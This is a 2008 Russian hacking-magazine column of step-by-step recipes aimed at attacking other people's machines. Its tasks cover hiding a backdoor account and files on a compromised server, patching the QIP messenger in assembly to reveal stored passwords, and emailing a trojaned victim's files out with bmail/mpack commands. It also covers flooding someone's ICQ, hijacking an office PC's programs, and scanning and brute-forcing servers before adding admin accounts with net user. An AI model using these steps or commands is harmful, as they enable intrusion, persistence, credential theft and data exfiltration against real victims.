Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #119, НОЯБРЬ 2008 г.

Easy Hack

Задача: Максимально скрыть свое присутствие на поломанном дедике

Решение:

Вопрос долговечности ломанных дедиков волнует многих. Никогда точно не знаешь, сколько проживет очередной сервер и как быстро проснется его админ. Существует, однако, несколько заветных правил, следуя которым, ты максимально продлишь жизнь захваченной машине.

Итак:

  1. Если у тебя есть админские права и возможность создать новый аккаунт в системе — непременно ей воспользуйся. Причем, созданный акк необходимо спрятать от посторонних глаз. Делается это так: запускаем RegEdit (aka редактор реестра), ищем ветку «HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ SpecialAccounts\UserList», создаем параметр DWORD и в качестве названия вбиваем имя нашего акка, а значение указываем нулевое. Теперь внешне наш аккаунт не будет виден в системе.
  2. Следующий важный этап — патчинг Винды на предмет мультиюзерности. Касается исключительно Win XP (ибо Win 2k обладает подобной фичей по дефолту). Опять же, при наличии определенных прав сливаем патч (найдешь без труда в Гугле) и устанавливаем в системе.
  3. При работе с доками и прочим файлом не забывай использовать стандартное виндовое скрытие файлов и папок. Это касается и дефолтных документов нашего созданного аккаунта, включая рабочий стол. Указываем в атрибутах каталога «C:\Documents and Settings\имя_юзера» параметр «Скрытый» и наслаждаемся результатом. Теперь ты совершенно свободно можешь кидать свое файло прямо на десктоп :).
  4. Старайся маскировать свои процессы в системе, а также запускать приложения в фоновом режиме. Кроме того, не напрягай сильно сам сервер, так как непомерные нагрузки на проц и оперативу рано или поздно сдадут тебя с потрохами.
  5. На всякий случай, заранее запусти телнет-сервер (либо повесь в системе бэкдор), предварительно подкорректировав настройки фаера. Это позволит тебе еще не раз вернуться к твоему любимому дедику, даже если админ заметит твое присутствие :).

Задача: Используя EMS Source Rescuer, OllyDbg и немного смекалки, модифицировать qip таким образом, чтобы он выдавал введенный пароль при помощи Mess ageBoxA еще до процедуры авторизации

Решение:

Попробуем немного «распотрошить» внутренности qip, воспользовавшись уже наработанными навыками.

1. Откроем файл qip.exe в EMS Source Rescuer-е для декомпиляции. Среди полученных программой форм и .cpp-файлов найдем «manager.cpp», который, несомненно, является менеджером паролей (говорящее название!:)).

2. Внутри файла manager.cpp содержится любопытная функция:

void _fastcall TManForm::ButtonLogin1Click
(TObject *Sender)
{
// Address $649930
}

Откроем файл qip.exe под отладчиком и перейдем по полученному при помощи EMS Source Rescuer адресу (649930). Поставим здесь точку останова и запустим программу.

3. Попробуем залогиниться и нажать кнопку «Ok». Программа остановится на нашей точке останова. Отсюда начинается обработка введенных данных авторизации. Протрассируем программу по до следующего момента:

00649A01 CALL qip.004678B4
00649A06 CMP DWORD PTR SS:[EBP-8],0
00649A0A JE SHORT 0649A2F

Несложно догадаться (особенно, если выполнить этот код), что программа обрабатывает данные аккаунта. В стеке по адресу [ebp-8] будет содержаться пароль учетной записи ICQ! Попробуем немного «дописать» код — таким образом, чтобы он выводил пароль при помощи MessageBox. Скопируем в буфер обмена при помощи команды «Binary Binary copy» (правой кнопки мыши) машинный код двух инструкций, которые находятся, начиная с адреса 00649A06, и заменим их переходом к нашему коду. Он будет выводить окошко, показывающее пароль. Где мы расположим код, вряд ли для тебя будет секретом: в конце секции кода есть много свободного места (массив ноликов, предназначенный для выравнивания). Я выбрал базу для нашего кода, равняющуюся 0068F83E. По адресу 00649A06 располагай инструкцию JMP 0068F83E. Следующим шагом станет написание кода, демонстрирующего пароль при помощи API-функции MessageBoxA. Переходи к адресу 0068F83E и начнем ваять код. Первым делом вставим по этому адресу (при помощи «Binary Binary paste») две инструкции, которые мы заменили безусловным переходом ранее.

4. Начиная с адреса 0068F844, располагаем передачу параметров для функции MessageBoxA. Она принимает четыре значения, три из которых мы заменим нулями — нам они совершенно не интересны. Нам важно только значение, которое соответствует содержимому выводимого окна. Соответствующий указатель на текст должен быть положен в стек третьим. Выше мы уже выяснили: по адресу EBP-8 находится пароль, любезно предоставленный нам некой функцией, вызов которой располагается по адресу 00649A01. Набор параметров для функции MessageBoxA выглядит приблизительно так:

0068F844 PUSH 0 ; Стиль окна неважен — обнуляем
0068F846 PUSH 0 ; заголовок окна — обнуляем
0068F848 PUSH DWORD PTR SS:[EBP-8]; текст окна — здесь
будет пароль учетной записи
0068F84B PUSH 0 ; владелец окна — обнуляем

5. Завершаем код вызовом MessageBoxA и переходом к инструкции, следующей сразу за переходом к написанному нами только что коду:

0068F84D CALL MessageBoxA ; выводим пароль
0068F852 JMP 00649A0C ; передаем управление qip-у

Вот и наш код целиком:

00649A06 JMP 0068F83E
...
0068F83E CMP [EBP-8],0
0068F842 JE 0068F867
0068F844 PUSH 0
0068F846 PUSH 0
0068F848 PUSH [EBP-8]
0068F84B PUSH 0
0068F84D CALL MessageBoxA
0068F852 JMP 00649A0C

Сохраняй программу под новым именем, запускай на выполнение и проверяй результат своего труда. К слову, вместо MessageBoxA может вызываться и функция записи в файл, но это уже незаконно (как, собственно, и все действия, которые описываются в статье, если они ведут к реализации каких-то нехороших планов). Еще одна ремарка: qip проверяет собственную «нерушимость» и отказывается работать при модификации qip.exe-файла. Но с этим справиться очень просто. Как? Разберешься! ;)

Задача: Легко и быстро получить файл жертвы

Решение:

Итак, если ты не продвинутый кодер, а нужно быстро и без заморочек слить с протрояненного компа логи/пассы/etc, то все, что для этого понадобится — аплоад и запуск маленького экзешника. Вся инфа прийдет прямо на мыло.

1. Аплоад. Качаем юзверю бесплатную тулзу bmail. Это консольный почтовый клиент, весом всего 40 килобайт.

2. Запуск. Удобнее всего запускать из батника (.bat-файлы), хотя можно из любой проги, главное — с поддержкой передаваемых параметров. Консольная команда выглядит так:

bmail -s smtp.server1.ru -t komu@server2.ru -f otkogo@
server3.ru -h -a «Tema»
— m «C:\file.txt» -c

Где: smtp.server1.ru — это любой почтовый сервер, не требующий авторизации. komu@server2.ru и otkogo@server3.ru — адреса получателя (твой) и отправителя (любой). C:\file.txt — сам файл для отправки. Можно указать и номер SMTP-порта, добавив параметр «-p <номер>», по дефолту установленный как 25.

3. Если нужно помимо текстовой инфы получить файлы других форматов, пользуемся утилой mpack15d (26 килобайт), предварительно доставив ее юзверю. Запускаем:

mpack -s "Tema" -d body.txt -c application/exe -o body.
msg "c:\file.rar"
bmail -s smtp.server1.ru -t komu@server2.ru -f otkogo@
server3.ru -h -m body.msg

Где body.txt — необязательная текстовая часть письма, а «c:\file.rar» — файл любого типа для отправки. Он будет преобразован в MIME-формат и послан через bmail. Единственное, что нам может помешать: хорошо настроенный файрвол, но его обход — это уже отдельная тема, которая неплохо освещена на просторах интернета.

Задача: Зафлудить асю недруга с нескольких номеров

Решение:

В последнее время найти качественный и функциональный инструмент для флуда асек стало не так-то просто. Посему представляю твоему вниманию достаточно удобное решение:

1. Сливаем с нашего ДВД утилу под нехитрым названием «Flooder» (респект автору утилы — BarT’у). Тулза умеет показывать внутренний и внешний IP-адрес пользователя, а также слать любое количество сообщений от любого номера — любому.

2. Запускаем флудер и указываем любой собственный уин с паролем (либо указываем лишь пасс и жмем «Connect» — утила сама регнет нам номерок).

3. Выбираем жертву, причем, уин жертвы должен быть в онлайне.

4. Указываем содержимое сообщения, а также тип: авторизация, сообщение либо уведомление о добавлении.

5. Жмем «Start» и наслаждаемся логом флуда :). Не забывай, что спам — это плохо, а флуд — еще хуже. Есть способ защиты от подобного западла, но о нем я расскажу в следующем выпуске z

Задача: Замутить офисное западло

Решение:

Мы собираемся на денек-другой освободить от работы офисного служащего или любого другого оператора ПК, перехватив запуск нужных ему прог.

1. Находим на просторах beyondlogic.org утилу TrustNoExe.

2. Прога перехватывает запуск всех exe-шников, выводя предупреждение о том, что местный админ запретил использование <этого> приложения и по всем вопросам обращаться к нему. Ставим прогу (займет около 5 секунд) и, не перезагружая комп, в виндовой панельке управления ищем пункт «Trust-No-Exe».

3. Перед нами белый и черный списки — Access и Deny list. В них можно добавлять папки, утилам из которых разрешен либо запрещен запуск. Не советую удалять из белого списка папку с Виндой, прописанную по дефолту, если не охота угробить масдай. Лучше добавим туда все диски, которые есть на этом компе в виде «C:», «D:», «E:», «F:» и т.д. В черный список добавляем папку с излюбленными прогами жертвы, пусть, для примера, это будет MS Office. Жмем Apply и Ok.

4. Заходим в X:\WINDOWS\system32\TrustNoExe и наблюдаем файл «denyexe.exe». Именно его утила запускает вместо всех экзешников из черного списка. При замене его на любой другой с таким же именем будет запускаться наш новый. Признайся, уже появились коварные планы на тему «а что бы туда такого положить»?

5. Так как мы люди незлые, и хотим всего лишь пошутить, — рисуем/качаем какую-нибудь веселую флешку на тему «делу время, потехе час» с расширением .exe, переименовываем в «denyexe.exe» и заменяем оригинальный файл.

6. Готово. Перезагружаем комп и отходим на безопасное расстояние. На отказ работать Ворда, Экселя, да и всего офиса, местный админ может отреагировать его переустановкой, но сути дела это не изменит: по-прежнему будет запускаться наша флешка с предложением отдохнуть. Вернуть все на свои места можно откатом системы на дату перед установкой TrustNoExe через виндовое «Восстановление системы» — либо удалением драйвера x:\WINDOWS\ system32\drivers\bltrust. sys, либо отключением этого драйвера из раздела Driver пункта «Trust-No-Exe» в панели управления Windows.

Задача: Найти и сбрутить забугорный дедик

Решение:

Как известно, дедики нужны всем и всегда, именно поэтому иногда стоит заморочиться их поиском и брутом. Как правило, дедики ищут по открытым портам 135, 139 и 5900. Лучше всего придерживаться определенного алгоритма.

1. Сливаем сканер IPScan (либо берем с нашего ДВД).

2. Запускаем и указываем диапазон для скана, или создаем батник с содержимым:

ipscan.exe начало_диапазона конец_диапазона имя_лога.txt

Например:

ipscan.exe 192.168.0.1 192.168.2.2 log.txt

Тулза тут сканирует диапазон 192.168.0.1-192.168.2.2 и сохраняет результат в файл log.txt. Кстати, ты запросто можешь указывать сразу несколько желаемых диапазонов (для этого удобнее всего юзать описанный выше батник).

3. Указываем набор сканируемых портов: 135, 139 и 5900 и запускаем скан.

4. После окончания сканирования в папке со сканером появится лог с указанным тобой названием (в нашем случае — это log.txt). Учти: если ты сканил сразу несколько диапазонов, то для каждого диапазона будет создан отдельный файл с логом.

5. После того, как ты получил лог, его необходимо отпарсить либо вручную разбить на части в соответствии с портами: 135, 139 и 5900. Это нужно, чтобы в дальнейшем было удобнее составлять списки дедиков для брута.

6. Когда все готово — можно приступать к бруту. Разумнее всего использовать тулзу NTscan. Но помни, что эта утила брутит дедики на 135 и 139 портах. Для проверки 5900 порта необходимо использовать софтину VNCmass, которая позволит приконектиться к бажному дедику без авторизации.

7. Создаем новый аккаунт в системе (после того, как мы успешно сбрутили пасс на дедик при помощи NTscan, либо подключились через VNC):

cmd
net user user password /add
net localgroup Administrator user /add
net localgroup "Remote Desktop Users" user
/add
net accounts /maxpwage:unlimited
exit

где user — наш логин, а password — соответственно, пароль.

8. Успешно юзаем ломанные дедики :).

Задача: Получить исходный код приложения, написанного на Borland Delphi или C++ Builder

Решение:

Иногда случаются непредвиденные обстоятельства, и исходный код приложения оказывается утерян. К счастью, это не всегда означает, что придется переписывать проект с самого начала. Стоит воспользоваться одной из множества программ, предназначенных для восстановления частей кода скомпилированного приложения. Например, утилитой EMS Source Rescuer. Если программа была скомпилирована в среде Borland Delphi или C++ Builder, — есть шанс восстановить хотя бы каркас приложения (формы, модули данных проекта, включая свойства и события). Естественно, получить функциональный код процедур событий очень сложно (программа не имеет встроенного декомпилятора, да и сама задача восстановления кода в полном объеме кажется практически невыполнимой). Но даже получение вышеописанного каркаса позволит в два раза сократить время, необходимое для восстановления утерянного проекта. Что уж говорить о случаях, когда хочется немного покопаться в чужом коде? :) Рассмотрим процесс восстановления структуры форм программы, собранной в C++Builder'e на примере последней сборки известного всем интернет-пейджера QIP.

1. Запускаем SourceRescuer.exe, указываем ему путь к исследуемому файлу (qip.exe) и нажимаем кнопку «Next».

2. Выбираем из списка форм в столбце слева необходимые нам и указываем программе, в каком виде представлять выходную информацию (в формате Delphi или C++ Builder).

3. Нажимаем «Next» и получаем результат — десятки файлов, содержащих структуру форм и процедур. Следует отметить, что, хотя процедуры событий и не содержат кода, в комментариях внутри них расположен указатель на адрес кода, содержащегося в исполняемом файле.

4. Попробуем убедиться, что нас не обманывают, а адрес, который указан в комментарии внутри шаблона функции, действительно является указателем на необходимый код, расположенный в исполняемом файле. Откроем файл «aboutfrm.cpp», полученный при декомпилировании. Судя по всему, на его совести — вывод логотипа с версией билда (при запуске программы). Обрати внимание на процедуру, которая отвечает за создание формы: void _fastcall TAboutForm::FormCreate (TObject *Sender) { // Address $64C160 } Комментарий содержит адрес: 64C160. Открываем программу в OllyDbg и загружаем в нее qip.exe. Нажимаем <ctrl+g> и переходим по адресу, полученному нами при помощи EMS Source Rescuer. Как видишь, мы попали прямо на начало процедуры. Остается вопрос, процедура ли это вывода формы. Ставим точку останова и запускаем программу для проверки правильности теории. Действительно, при выводе лого наш бряк сработал! Это указывает на то, что адрес, полученный программой, верный.

Содержание